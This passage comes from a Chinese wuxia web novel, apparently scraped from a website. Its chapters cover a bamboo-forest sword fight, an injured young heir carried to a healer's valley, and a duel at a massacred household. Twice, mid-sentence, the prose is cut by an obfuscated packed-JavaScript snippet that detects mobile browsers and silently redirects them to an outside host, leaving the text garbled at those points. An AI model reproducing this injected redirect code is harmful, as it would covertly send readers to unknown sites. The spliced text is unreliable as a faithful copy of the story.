“把他还给我。”谁也没想到竟然是冷若冰霜的白野先开口了。 “还?还给你?”杜可儿几乎要笑了出来,“你是他的何人?一个杀他全家的仇人!而他,他是江家的三公子,谈何还给你呢?” “是呢,我说小野野,人家小郎君可并未委身与你哦,怎么能叫还呢?”冷如月发出一连串银铃般的笑声。 白野缓慢低下了头,纤长的睫毛几乎将白野的目光全部挡住。又是一片沉默。一片竹叶从空中悠悠飘落,在空中翻滚旋转。 突然,白野的眼神瞬间变得锐利无比,如同鹰隼扑食一般锁定了杜可儿。只见一道寒光冲出剑鞘的束缚,光芒夺目,正是“雪轻”出鞘!“雪轻”带着一股能冲破一切阻碍的破竹之势,直刺杜可儿的咽喉要害! 杜可儿见势立刻举剑格挡,短剑刚刚抬起,白野的“雪轻”便已杀到了脸前。“叮叮当当”的脆响瞬间连成一片,犹如一场急促的雨打芭蕉,杂乱而有序。“雪轻”仿若璀璨繁星凭空绽放,所到之处,剑风呼啸,而白野的身影也如林中飞燕一般轻盈而敏捷。只是几招,杜可儿便落于下风,逐渐招架不住。 也就是这个时候,冷如月娇咤一声,声音如同一道划破竹林宁静的霹雳,震得竹叶簌簌颤抖,她手腕一甩,金环瞬间脱手而出,化作一道金色闪电,带着呼呼风声,径直向杜可儿和白野飞去,所过之处,纷飞的竹叶皆被金环自旋产生的气流撕成碎片。合成一体的两只金环在即将靠近白野和杜可儿的时候,于空中分了开来,同时向白野和杜可儿飞斩而去。 本就不敌白野,如今又有致命金环向自己飞来,杜可儿眼中闪过一抹决绝,短剑急速回防,奋力一磕,“当”的一声巨响,仿若洪钟震响,总算磕开那夺命金环,而杜可儿也被金环的力量击倒并在地上向后滑去。不过因祸得福,杜可儿被击倒的瞬间正好躲过了白野横扫过来的一剑,否则必死于白野的剑下。 几乎是在杜可儿落地的同时,另一声震响又传进杜可儿的耳朵,正是白野举剑将金环击退的声音。两只被格挡回去的金环先后收入正冲向这边的冷如月手中。霎时,冷如月便到了白野的身前。冷如月腰中弯刀飞速出鞘,以迅雷不及掩耳之势在空中挥出一道凄厉的弧光,直斩向白野的腰际。 白野反应神速,侧身一闪,如同一道黑色的魅影,轻松避开冷如月的这一斩。随着转身的同时,白野手腕翻转,反手便是一剑撩向冷如月的脸庞。冷如月迅速后撤,“雪轻”剑风割面,仿若冰刀划过,寒意与疼意顿生,似乎要将冷如月吹弹可破的肌肤撕裂。因为躲闪的太急,也因为太过于在乎自己的脸庞受伤,冷如月脚下踩着层层堆积的竹叶,仿佛陷入泥潭,身形踉跄,几近不稳。冷如月美目圆睁,燃烧的怒火几乎要把这片竹林点燃。 “白野!你要毁我容吗?”从冷如月的声音中可以听出,冷如月这回是真的生气了。 “你要还打,下一剑就真的割上去了。”白野认真地回答了冷如月的问题。 “你!你气死我了!”冷如月一改之前妖艳魅惑的气质,突然变得像个小姑娘一样指着白野骂了起来,“哈!再也不是那个姐姐长姐姐短,跟着我讨糖吃的小屁孩儿了是不?啊!气死我了!还要毁我容?你长本事了?真是小的时候打你屁股打少了!啊!真气死我了!” 在这突如其来的责骂之下,白野竟也一改刚刚凛若冰霜、冷峻孤高的气质,整个人突然变得像是做错了事的孩子一样竟有些畏畏缩缩。尤其是当冷如月讲到那句打屁股的时候,白野的脸上竟然露出了不好意思的表情,脸颊有些微微泛红。 倒在不远处的杜可儿看着白野和冷如月,脸上露出了疑惑的表情。还未等杜可儿多想,白野便向藏着江心的方向飞快冲了过去。杜可儿见状立刻向白野的方向甩了三枚燕子镖。燕子镖斩断几片飘然而下的竹叶,直扑白野的头部。白野剑锋上挑,轻易地将飞镖拨开,三枚燕子镖自上而下钉在了不远处的一颗竹子上。 满脸怒意的冷如月见白野快要接近江心的藏匿之处,便也飞快地向那边冲了过去。就在白野欲将江心抱起之时,冷如月的残月弯刀从白野的面庞之前一扫而过。白野侧身将冷如月奔他面门而来的一刀闪了过去。 “看我不在你的小脸上留个口子!”冷如月怒气冲冲,再一次提刀向白野的脸部刺去。白野提剑格挡,与冷如月战在一起。杜可儿见另外两人交战正酣,飞速跃到江心身旁,想要带着江心再次逃离,可白野和冷如月却同时挡在了杜可儿的身前。杜可儿不得已再次卷入了战斗。 一时间,竹林中寒光乱闪,人影交错,竹啸、金鸣、剑吟交织在一起。无数片竹叶被这场乱斗卷入空中,纷纷扰扰,簌簌下落。 怕伤及江心,杜可儿和白野都有意识地将战斗引至别处。此时江心终于从昏睡中醒来,眼神朦胧地仰望着从空中落下的竹叶。江心的耳边传来刀剑激烈碰撞的声音,可声音显得沉闷而悠远。江心吃力地翻过身来,慢慢地向洼地高处爬去,试图寻找打斗声音的来源。 江心终于爬出了洼地,白野、冷如月和杜可儿三人激斗的画面正映入眼帘。只见白野用“雪轻”将冷如月手中的金环拨开,随后剑如冰锋向杜可儿的脖子横扫过去。杜可儿举剑一挡,可没想到手中的短剑被白野的“雪轻”生生切断。尽管刚刚切断一柄利器,可“雪轻”速度丝毫未减,依旧直奔杜可儿的脖子而去。就在“雪轻”即将接触到杜可儿的脖颈之时,冷如月手中的金环呼啸着将这一击硬是挡了回去。杜可儿死里逃生,双目圆睁,双腿一软瘫坐在地上。 “可儿姐姐!”江心惊叫了出来! 随着江心的叫喊,三人齐齐向江心看去。听到江心的叫喊,杜可儿猛地从惊惧中惊醒过来,起身向江心奔去。白野见杜可儿奔向江心,迅速脱离与冷如月的战斗,“雪轻”冲着杜可儿刺了过去。千钧一发之际,江心从洼地中跳了出来,一把将正跑向自己的杜可儿拉到身后,张开双臂把杜可儿挡在身后。白野躲闪不及只好反转剑身,可剑柄却也结结实实地撞在了江心的胸口。 哪怕白野尽量收起力道,无奈距离太短、速度太快,这一击还是给江心造成了严重的内伤。江心胸中激荡,压抑不住的一口鲜血朝着前方吐了出去,鲜红的血液落在了白野的衣服和脸上。白野登时愣在原地,竟有些不知所措。 这是他唯一有能力保护的人了,江心转身看向身后的杜可儿,“可儿姐姐,我还有点用处对不对?”说完后江心直直地向地面倒去。江心侧摔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991020|161633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在地上,幸亏有满地落叶的缓冲,这一摔并未向对江心再次造成伤害。江心侧躺在地上,又一口鲜血从口中呕了出来,气若游丝。杜可儿蹲坐在地上把江心抱在了怀里。 “心儿,心儿”杜可儿呼唤着江心。 看着杜可儿怀里奄奄一息的江心,白野向后退了两步,身子微微发抖。 “真不怜香惜玉啊小野野,一会儿要划破我的脸,一会儿又要砍人家小美女儿的脖子,现在倒好,把这么一个小郎君打成这样。”冷如月此时也到了几人身边。 “你不是刚刚还要杀他吗?”白野眼睛泛红,冷冷地看向冷如月。 “那是刚才,现在本姑娘不想杀他了,你不是要救人家吗?怎么了?动都动不了了吗?”冷如月说着将金环挂在腰上,弯刀收回鞘中。 “只要你放过可儿姐姐,我跟你走”,江心的声音勉强才能被听到。 白野突然反应过来,将手中的“雪轻”丢在地上,快速冲到江心身边蹲下,封住了江心的几个穴位,随后转头看向站在一旁的冷如月。 “看我干什么?又不是我打的”冷如月躲开白野的目光,双手抱在胸前。 白野向冷如月伸出手去,手掌摊开,做出一个接东西的动作把手停在半空。 “干什么?我可啥都没有啊!”冷如月瞥了一眼白野。 白野的手依旧悬停在那里不肯收回,“药”,白野轻轻吐出一个字。 “哎呀真烦!我真是欠你的!”冷如月说着从腰带下边掏出一个扁平的拇指大小的小瓷瓶丢到了白野的手心,“最后俩粒了,凡谷子那个老东西的药那么好要吗?” 白野不顾冷如月的唠叨,将瓶中的两粒白色药丸全部喂进了江心的口中,随后就要从杜可儿的怀中把江心抱走。杜可儿精神紧绷,死死地抓住江心不放手,双眼充满仇恨地盯着面前的白野。 “小美人儿,放手吧,现在只有他能救这个小郎君了”冷如月缓缓地说到。 杜可儿犹豫片刻,慢慢松开紧抓着江心的双手。白野将江心抱了起来,准备往竹林外走去。冷如月将地上的“雪轻”捡起来收入剑鞘递给了白野,“现在怎么办?流落江湖?无休止的追杀?本来想替你下手的,现在倒好,还搭进去两粒金丹!”冷如月略带遗憾地说到。 “不用管我,你怎么交差?”白野看着面前的冷如月面带歉意。 “我又打不过你,就这么说咯。”冷如月说完后转而看向杜可儿,“小美人儿,麻烦还在后头呢,我可知道你到底是谁”,冷如月留给杜可儿一个耐人寻味的笑容后,双脚发力,一跃而起,脚步踏着一根竹子,沿着竹子不断向上,如履平地。随着冷如月的脚步移动,竹子微微弯曲,却又倔强地弹起,发出轻微的“嘎吱”声。冷如月接近竹子顶端,阳光透过竹叶的缝隙洒下,形成一片片金色的光斑,在她的身上跳跃闪烁。冷如月纵身而出,彻底穿过了竹子顶端的茂密区域,消失在杜可儿的视野当中。 正当杜可儿惶惶不安猜测着冷如月是否真的知道自己的真实身份之时,冷如月的残月弯刀穿过茂密的竹枝,带着被弯刀俯冲之势摧断的枝叶直奔杜可儿而去,随着一声沉闷的破土之声,弯刀激起地上堆积的竹叶,重重插进了杜可儿面前的地面之中。随后空中传来冷如月的声音,“小野野斩断了你的短剑,这把刀就算我替他赔偿你了。”杜可儿看着面前的弯刀,又看向站在一旁抱着江心的白野,将弯刀从地面拔了出来,佩在了腰间。 6. 小公子寻图逢玉郎,美红颜觅剑遭杀神 白野抱着江心正要向竹林外去,被杜可儿拦住了去路。 “你要带他去哪里?”杜可儿问到。 “断壁谷”白野答。 白野右脚点地,抱着江心凌虚而起,双脚只轻轻踩了一次竹子借力,便跃到了竹海之上。杜可儿见状,双脚发力,腾势而起,踏着竹子也冲出竹林,追了上去。只见白野抱着江心飞驰在竹海之上,双脚不断掠过纤细的枝叶向竹海的另一端飞速而去。白野所过之处,脚下踏过的竹叶三三两两的从竹枝上被白野带了下来,四散飞去,如同踏浪过海溅起的水花一般。 尽管杜可儿用尽全力追逐,可还是很快被拉开了距离。杜可儿眼看追不上白野,这时候白野突然停了下来,轻轻站在了竹枝上,如同一只飞鸟落在纤细的枝头,转过身来等着杜可儿。杜可儿赶了过去,刚要张嘴说不必等她,江心的伤势要紧,便先听到了白野的声音。 “你先回江府寻剑,随后来断壁谷找我,”白野对刚刚追上来的杜可儿说到,“找他”白野看了一眼怀中的江心补充到。 杜可儿疑惑地看着白野。 “他的剑还在江府”白野看着江心,说完后便转身又奋力向竹林远处飞去。 杜可儿听闻“叶寒”遗落江府,看着远去的白野,稍作思索便转身向江府的方向飞奔而去。 江府内,一双绣着梅花的锦靴正左闪右避地躲开地上的血渍在庭院中跳动着,靴子的主人身着白色云纹素锦,锦袍上同样绣着栩栩如生的梅花,梅花色泽淡雅,花蕊处用金线点缀,在阳光下闪烁着柔和的光芒,为整件衣服增添了几分华贵与灵动。身着素锦的陆山河看着血浸残垣的江府,唏嘘不已。 江府庭院中一片狼藉,花草被践踏到不成样子,东倒西歪地倒伏在血泥之中。主厅的大门敞开着,门枢断裂,歪在一边。厅内,桌椅横七竖八地倒着,华丽的屏风被砍得支离破碎,锦缎帷幕上溅满了血迹,墙壁上刀剑留下的痕迹交错纵横,一只小猫倒在血泊当中,尸体早已经僵直。秋风拂过,将落了满地的桂花吹起。夹杂着桂花香气和血腥气的风,吹得破烂的窗纸“呼呼”作响,仿佛是江府的冤魂在哭泣一般。 陆山河不由自主地打了一个哆嗦,小心翼翼地提起衣摆跨进了大厅之中。 真烦呀,不知道爷爷是从哪里得到的消息,非说这江家藏着锻剑师天德老人墓穴所在的地图,还笃定地说就在某个房梁上,可自己把江府的所有房梁都上去了一遍也没有什么发现,别说什么地图了,就连半个纸片都没有发现。难不成这地图是被杀这江家满门的人夺去了?真是怪渗人的,辛亏自己来的晚,不然免不了卷入一场争斗,搞不好还会有性命之忧,陆山河想着。 陆山河踱步到正厅的房梁之下,抬眼向上望去,随后一只脚轻轻点地,整个人便向着房梁飞了上去,就在身子刚刚超过房梁半尺之时,陆山河伸手轻轻托了一下房梁,便稳稳跃了上去,坐在了房梁之上。这里的房梁上同样空空如也,甚至连半点灰尘都没有。这江家家主一定是个有着严重洁癖的人,谁家好人会把房梁都打扫的这么干净? 陆山河准备从房梁上跳下去的时候,注意到了挂在正厅墙上那块被冷如月金环留下两道裂痕的“簪缨世胄”金匾。金匾上金环留下的伤口与普通刀剑大不一样,陆山河盯着金匾脱口而出:“栖霞金乌环?”错不了!这肯定是“栖霞金乌环”留下的痕迹,自己小的时候曾经玩过爷爷仿制的这种武器,只有这种武器才能留下如此的痕迹。 “栖霞金乌环”环身三处凸起如同金乌三足形状,皆开双刃,三足间隔制成收起的翅翎形状,用于持握刚好贴合手掌。“栖霞金乌环”共有一对,分开可以双手持握,合在一处天衣无缝,又如一件兵器,可远攻亦可近战,是世间不可多得的利器,也是天德老人打造的唯一一对异形兵器,没想到隐世多年的金环在此处现身了。那么,屠杀江府满门的人到底是谁呢?据说这双“栖霞金乌环”曾在长风盟盟主柳青青的手中,后来柳青青大婚之夜盟内生变,柳青青被神秘高手所杀,这双金环便不知所踪了…… 陆山河从房梁上跃下,心想虽然没有拿到地图,但是获得了这“栖霞金乌环”的线索也算没有白跑这一趟。 此处多留无益,陆山河正欲快速离去,刚一只脚踏出正厅的门槛,突然一道青色的影子直扑自己而来,并且随着青色影子飞驰而来的还有一点凌厉的寒芒。这寒芒直刺向陆山河的脸部!陆山河用脚踏向门槛,身子迅速向后倒退飞去!随着陆山河退回大厅,那点寒芒丝毫没有减速,依旧步步紧逼,追着陆山河飞进了大厅。 在后背快要接近墙壁之时,陆山河侧身一跃,落在了身旁的空地上,躲开了几乎要刺到自己鼻尖的刀尖。还未等陆山河站稳身形,横刀迅速做了收势,自下而上再次向陆山河斜砍而去。陆山河一个后空翻躲开了这迅捷而来的一刀,并顺势向后又多跳了一段,与这持刀的男子拉开了距离。 这个时候陆山河才看清了对方,一身井天色的衣袍,发如泼墨,剑眉斜飞入鬓,双眸宛如清泉,轮廓分明,肌白如玉。陆山河看着对方笑了起来,笑容若春日暖阳,随性洒脱,几缕发丝垂落在脸颊两侧,随着微风轻轻飘动,更衬得陆山河格外阳光开朗。这倒是让刚刚还举刀相向的沈寒一下子摸不到头脑了。 “你笑什么?”沈寒问到。 “我说,看你眉清目秀的,也不像是那莽撞之人,怎么不分青红皂白地举刀就砍我呀?”陆山河嘻嘻地问到。 “江家满门殒命,而这里只有你一人在此,若非凶手,便是趁火打劫的宵小之辈!岂能对你容情!”沈寒严肃地答到。 “哎呀……这个……先说明啊,人可不是我杀的,”陆山河解释到,“不过说我不是趁火打劫吧,我确实是在这里找东西,说是趁火打劫吧,可我来之前并不知道这里会这样啊!”陆山河一脸无辜地看着沈寒,柔和而细腻的脸庞上眉如墨画,弯似新月,一双温润的眼眸,清澈见底,鼻梁挺直而秀气,粉唇娇嫩而薄润。 “果然是鼠窃狗盗之徒!”沈寒说着便又提刀欲冲过去,可愣是被陆山河给喝住了。 “等等!”陆山河大声喊了出来。 沈寒立时止住攻击,但无奈二人距离太短,自己速度过快,只是收住了手中的刀,自己则同陆山河撞了个满怀。陆山河没想到对方会撞到自己,身子一倾向后倒去。陆山河下意识地一把抓住沈寒,将沈寒也带倒在地,压在了自己身上。沈寒脸一红,赶紧从陆山河的身上翻了下去,躺在地上。陆山河一个鲤鱼打挺站了起来,同时沈寒也用左手手掌轻拍地面,从地上一跃而起,落在了陆山河对面。 “好哇!占我便宜!”陆山河伸手指着沈寒。 “没有!”沈寒有些不好意思地回答。 “辛亏小爷是个男子,小爷我要是个姑娘,这一世清白可就全毁在你的身上了!”陆山河不依不饶。 “对,对不起”沈寒竟然紧张了起来。 见沈寒如此,陆山河趁机翻身向屋外飞去,想要脱身。沈寒方才意识到自己被对方钻了空子,立刻也翻身追了出去。二人几乎同时飞到了江府大门的悬山顶上。就在陆山河双脚刚踩到悬山顶瓦片的瞬间,沈寒手中横刀一横便挡住了陆山河的去路。陆山河赶紧止住身子,以防被这寒光闪烁的刀锋伤到自己。 “看来你我不得不动手了,不过我可是空手,你拿着刀,这样不公平吧?”陆山河笑嘻嘻地看着沈寒说到。 沈寒略微思考了一下,将刀收回到腰间的刀鞘当中。 “这样也不行,你我都是练武之人,这本能反应可是克制不住的,万一你我打斗到要紧的关头,你本能地抽刀了我怎么办?”陆山河见沈寒果真收了刀,便振振有词地又提出新的要求。 沈寒听罢将腰间佩刀取了下来,把带着刀鞘的横刀掷向庭院中间。刀鞘击碎青石板地砖,深深地插进了地面。 “现在公平了吧?”沈寒问到。 沈寒话音刚落,陆山河率先发难,身形如电,瞬间欺近沈寒。陆山河右拳裹挟着凌厉的风声,如苍鹰扑兔般直逼沈寒面门。沈寒微微侧身,轻松躲过这迅猛一击。紧接着,沈寒脚步轻点,身体如风般绕到陆山河身后,左手成掌,如刀般切向陆山河后颈。陆山河感受到背后的劲风,脚尖点地,整个人向前飞跃而出,在空中一个翻身,稳稳落地。 陆山河换拳为掌,倾注十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991021|161633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分内力向沈寒攻去,沈寒眼神一凛,双手握拳,以刚猛之力迎击。拳掌交汇之时,发出沉闷的声响,强大的气浪向四周扩散,震得周围的草木沙沙作响。这一击逼得二人皆向后退了数尺,方才稳定下来身形。 二人正要再次向对方发动攻击之时,几枚燕子镖穿风过叶分别袭向二人。见飞镖向自己飞来,陆山河不知从什么地方抽出一把扇子,将飞向自己面门的飞镖格挡开来。而沈寒则是跃到空中,翻身躲过了飞镖,并在落地的时候将躲开的飞镖抓在手中,向飞镖飞来的方向又投掷了回去。 燕子镖比刚刚的力道还要更大,正向杜可儿飞去,杜可儿抽出腰间弯刀将飞镖挡开,跃身也飞到了大门的悬山顶上,站在陆山河和沈寒两人中间。 “为何偷袭我们?”沈寒看着杜可儿问到。 “不用说,一定是小姐姐看你欺负我,便出手相助了”陆山河一脸认真地说到,随后看着手中多出来的扇子,又笑嘻嘻地补充到“至于投向我的飞镖嘛,一定是小姐姐打歪了”。 杜可儿瞪了陆山河一眼,“你是何人?” “小姐姐的眼神好吓人呢”陆山河没有回答杜可儿的问题。 杜可儿没有理会陆山河,转而看向沈寒。 “我奉家师之命前来江府送信”沈寒主动说到,“可我刚一到此,便……” 未等沈寒继续说下去,陆山河便从悬山顶上跃下,直奔插在地上的横刀而去!沈寒见状立刻也跃身向下,冲向横刀。可陆山河早有准备,不等沈寒落地,便将手中的扇子掷向了沈寒。 扇子于空中飞速旋转,犹如飞刃一般向沈寒的咽喉斩去。沈寒在半空扭转腰身,躲过了扇子的攻击,并将扇子一把抓在了手里。就在沈寒接住扇子的同时,陆山河已将地上的横刀取到手中。沈寒落地之时,陆山河已经拿着刀,飞上了正厅的屋檐快速离去了。沈寒没有耽搁分毫,刚一落地便也飞身跃到了正厅屋顶,追赶着陆山河而去。 “玉面郎君,小爷我就用那把扇子换你的刀了”陆山河的声音从远处传来。沈寒看着陆山河越来越远的身影,心中悔恨,自己怎么会对一个宵小之辈遵守江湖道义?不过这个人的轻功好生了得,自己竟然被越甩越远。沈寒脚下又增了几分速度。 未等杜可儿彻底搞清缘由,这两个陌生男子便一前一后离开了江府。不过好在没有看到他们二人谁拿了“叶寒”。杜可儿翻身从悬山顶上下来,在庭院中寻觅“叶寒”的下落。杜可儿几乎在诺大的宅邸中翻遍了每一个角落,都未见“叶寒”的影子,只是在大厅散落的暗阁碎片当中找到了“叶寒”的剑鞘。 难不成是刚刚的那两人拿走了“叶寒”?杜可儿正在思索之时,浑厚的诵佛之声从远处幽幽传来。杜可儿大惊,花容失色,心道不好!随即,杜可儿连忙向后厅之中奔去,躲藏于后厅横七竖八的尸体当中,屏气凝神。 很快诵佛之声变得喧如洪钟,几乎震得房屋颤动!一个皮肤黝黑,身形壮硕,面容粗犷的络腮胡和尚走进了江府的大门。和尚身高异于常人,烫着六个戒疤的脑袋几乎要顶到江府大门的门楣,左肩披着火焰图纹的暗红色袈裟,裸露的右边臂膀文着空行夜叉的雕青,空行夜叉背生双翅,翱翔天际。朔风吹过,将和尚的袈裟掀起,露出和尚的左边臂膀。而和尚左边的臂膀上则文着地行夜叉的雕青,地行夜叉青面獠牙,红发似火。这个面若恶鬼的和尚正是夜鸦阁四大长老之一的赤阳。风过叶落,被掀起的袈裟重新落回到赤阳身上,诵佛之声也在此时停了下来。 “阿弥陀佛,罪过罪过”赤阳看着残墟断壁、血污狼藉的江府庭院,双手合十,随后一跃而起,背向大门向后飞去,落在了江府大门的悬山顶上。赤阳从脖子上摘下拳头大小的挂珠,举过头顶。随着一声大喝,赤阳双手一震,串着挂珠的绳索断裂,几十颗挂珠向江府各个院落的房间飞去。挂珠砸破屋顶,重重落在各个房间之内,随后爆裂开来,珠子里边的火焰四散而去,霎时间江府便湮没在一片火海之中。赤阳则盘坐在悬山顶上,开始诵经。 火势汹汹,木材燃烧的声音劈啪作响,掩盖了杜可儿的气息。杜可儿连忙起身,向院落中的水井跑去,纵身一跃跳进了井中。 7. 断壁谷求医遇杀僧,映翠园敕令退凶敌 已是黄昏时刻,太阳渐渐西沉,遮挡夕阳的云彩此时正如紫红色的帷幕一样挂在天际,轻柔而厚实。与此同时,从这天际帷幕上方挤出来的道道光束,依旧努力地向穹顶爬去,将悬在天空高处,三三两两的云朵们染得色彩斑斓。 夕照下的沧溟雪山此时正镀上了一层温暖而神秘的光晕,橙红色的光泽犹如一件华丽的锦袍披在雪山之上。这橙红色的光泽顺着沧溟雪山的山势蔓延,从山顶缓缓流淌至山腰,又在山脚下晕染开来,与周围的雪地互相映衬,形成一幅如梦如幻的画卷。 白野正骑着一匹黑马走在沧溟雪山的山道之中,他一只手牵着缰绳,另一只手护着横坐在马背上,正依偎在自己身前的江心。已经赶了几日的路程,此时的白野因为之前的伤势也已经变得憔悴不堪,脸色不过比昏睡的江心只好了些许而已。 山上的积雪在山风的吹拂之下,飘荡在空中,在阳光的照耀下,闪烁着细碎的光芒,如同无数颗水晶飘散在二人周围,璀璨夺目。白野抬头望去,陡峭的雪峰直插云霄,宛如一把利剑,在夕阳余晖之中闪耀着冷峻的光芒。 很快二人步入了山体中间的沟壑之中,阳光顿时被山体挡住,沟壑显得深邃而神秘,阴影处则呈现出一片浓郁的深蓝,与明亮的雪面形成鲜明的对比。随着二人越来越行至雪山的高处,阳光再一次铺在山体之上,二人周围的晶莹雪粒逐渐消失,取而代之的是淡淡的云雾漂浮在周围。白野骑着马穿过丝丝缕缕的云雾,马蹄之下的积雪堆积得越来越厚重而蓬松。 渐渐地,太阳越来越低,光线也愈发的柔和起来。雪山的颜色从热烈的橙红色逐渐转变为宁静的粉红。 就在白野骑着马小心地走在雪道上的时候,两双眼睛正藏在一片雪地之中,仔细地看着白野和江心。突然两双眼睛的主人从雪地中一跃而起,带着诡异的笑声,向白野和江心的方向直冲了过去,身法诡谲,速度奇快,犹如两只黄鼠狼一般,很快便到了马前,一左一右扑向了马背上的白野和江心。 白野虽然立刻反应了过来,但并没有从这奇怪的两人身上感受到任何杀气,不过他还是立刻抱着江心倾身向后,躺在了马背上,躲开了这一左一右的冲撞。而那两个带着诡异笑声的家伙,却因为无法收住速度,凌空撞在了一起,随即一左一右跌落在雪地上。 这奇怪的二人不约而同地起身,坐在了雪地上,揉着脑袋直叫疼。此时白野也起身恢复了坐姿,护着江心的臂膀紧紧环住江心的腰部,警惕地看着坐在雪地上的两个人。这两个人都瘦骨嶙峋,仔细看去,二人的颧骨突出,门牙硕大,皮肤粗糙而泛黄,眼睛灵巧而细小,两人头顶皆梳着一个朝天辫,只不过一个靠近头顶左侧,另一个靠近头顶右侧。除了两人头顶这不同位置的朝天辫可以辨别两人之外,无论是长相、衣着、神态、声音,两人都没有任何分别。 “你们是什么人?”白野问到。 听闻白野问话,坐在左边雪地上的那个人双手刨地,身子带着雪绒一跃而起,从马的肚子下边飞快地穿了过去,蹲在了另一个人身旁。左边朝天辫笑眯眯地说道:“我叫机灵鬼”。另一个右边朝天辫的则紧跟着答道:“我叫鬼机灵”。二人说完后互相看向了对方,然后两人同时手脚并用,如同两只猴子一样从雪地上跃起,挟带着无数碎雪快速离去,消失在白野的视野之中。 白野见两人离去,觉得那两个人不会带来什么危险,于是便继续赶路,只是环着江心的胳膊不敢有丝毫松懈。 随着最后一抹余晖消失在天际,雪山也渐渐隐入了夜色之中,仿佛被一块巨大的黑色绸缎轻轻覆盖。月亮从云层中缓缓探出头来,清冷的月光如同一缕缕薄纱,轻柔地洒向洁白无瑕的雪地,将雪山慢慢点亮。在月光的映照下,环境愈发清晰,即便不用火把也能将地形看得真切。白野抬眼望去,终于看到了远处升腾起来的云雾,那里正是断壁谷中暖泉蒸腾而起的热气。 这断壁谷虽然身处雪山之上,却是这冰天雪地中的一处绿洲所在。断壁谷位于雪山顶端的一处断崖之下,断崖犹如刀切斧琢一般整齐,而断崖下边则是一处绿意盎然的深谷,于是此处便得名断壁谷。这断崖深谷有十数丈之深,非有绝世轻功不能上下。谷底有数十眼暖泉,刚好为这避风的深谷提供了热量,于是便有了这雪山之巅的世外桃源。 断壁谷下,静谧祥和,宛如尘世之外的仙境,树木丛生,百草丰茂,细竹郁郁葱葱,暖泉水流潺潺;林木中飞鸟清鸣,碧潭下锦鲤绕尾;树影外灵禽翱翔,水面上雾气缭绕。一座翠竹制成的庄园坐落在这奇景当中,庄园门口挂着一块木板制成的匾额,上书“映翠园”三个大字。走进庄园,是一个宽敞的庭院,十几个晾晒草药的架子分列两旁,庭院的中央,摆放着几张木质的桌椅。在桌椅的旁边,有一个小的石桌,石桌上摆放着一套古朴的茶具。这里正是凡谷子的师兄公羊方的住所。 此时月色正好,公羊方正坐在石桌旁品茗赏月,微风吹过,几片花瓣落在了石桌上。这里四季如春,丝毫不受外界四季轮换的影响。机灵鬼和鬼机灵顺着断崖而下,几次飞跃便进了院子,到了公羊方的身边。 “师父,师父,有人进了山,有人进了山”机灵鬼叫嚷着。 “是两个男的,是两个男的”鬼机灵似乎怕机灵鬼把情况一口气说完,紧接着补充到。 公羊方不紧不慢地喝了一口茶,将茶杯放下,笑眯眯地看着两人,用手轻抚这两人的后脑。 “不慌,不慌,来的是什么人呀?”公羊方道。 “有一名持剑男子,身姿如松,气度若霜,青丝如流瀑,皓齿似碎玉,肤白如新雪,隆准若瑶峰,一双剑眉飞入鬓,两只清目若寒星,一袭精织玄色锦缎劲装,两只银扣乌纹鹿皮长靴,青墨翠玉饰腰带,银线金丝绣衣襟!”机灵鬼摇头晃脑地一口气说到。 “这另一个似乎一直昏睡的男子呀,体态似柳,神韵若水,玄发若飞泉,双唇似软琼,面润若凝脂,琼鼻似玉峰,两道秀眉弯入鬓,一双明眸似朗星,一身巧裁素色绫罗华服,两只金镶云纹缂丝短靴,月白碧玺缀衣带,金线银丝绣衫襟!”鬼机灵丝毫不落下风地也一口气说完。 公羊方听罢,捋着胡须说道:“定是来求医问药的”。公羊方起身将桌面上的花瓣用手轻轻拈起,一口气吹向空中,“扰了我赏月的好兴致!”公羊方说完便一甩衣袖转身走进了屋子。机灵鬼和鬼机灵互相看着对方,“师父生气了,师父生气了。” 白野此时也骑着马到了断崖之上。白野抱着江心翻身下马,站到了断崖的边缘,向下望去。月光下的断壁谷谷底在这里看去显得悠远而诡秘,仿佛潜藏着无尽的危机。 白野没有多想,抱着江心便从崖顶跳了下去。白野和江心二人飞速下落,周遭没有丝毫可以借力减速的地方。白野一手环住江心的腰部,将江心紧紧抱在怀里,另一只手拔出“雪轻”,将“雪轻”在峭壁上猛地点了一下,二人下落的速度方才减缓了一些。 白野不停地将手中的雪轻剑划向峭壁,以此来减缓下落的速度。临近谷底的时候,白野将剑刺向峭壁,剑尖没入石壁,剑身轻微弯曲了一下,将白野下落的速度又减了几分。与此同时,白野一脚轻踏峭壁,身子便横着飞向了谷底树林的方向。 白野抱着江心,脚踏树梢,飞身跳进了公羊方的庭院当中。未等白野站稳身形,一柄采药用的小铲子便从正厅的大门飞了出来,直射向白野面门。白野侧身躲过药铲,眼神凌厉地看向大厅的方向。 “不会走大门吗?再说是谁准许你进来的?”公羊方不悦的声音从大厅传了出来。 白野扭头看向身后那两扇用竹子编织而成的低矮小门,随后抱着江心一个后空翻跃出了庭院,在两扇竹门前停了下来。机灵鬼和鬼机灵这个时候每人抱着一碗饭,从侧边的一个房子中走了出来,二人边吃着饭菜,边蹦蹦跳跳地跑向白野,与白野隔着矮门相对而立。 “你不讲礼数,不问主家人就进人家院子,这样不好”,机灵鬼天真地看着白野。 “就是就是,本来听说你们来了,扰了师父他老人家赏月,他就不高兴了”,鬼机灵补充到。 白野看着面前这两个长相奇特的人欲言又止。 “你看,进不来连饭你都没得吃了”,机灵鬼表示遗憾。 “等着吧,一会儿饿了你就知道你做的有多么不对了”,鬼机灵语重心长地说到。 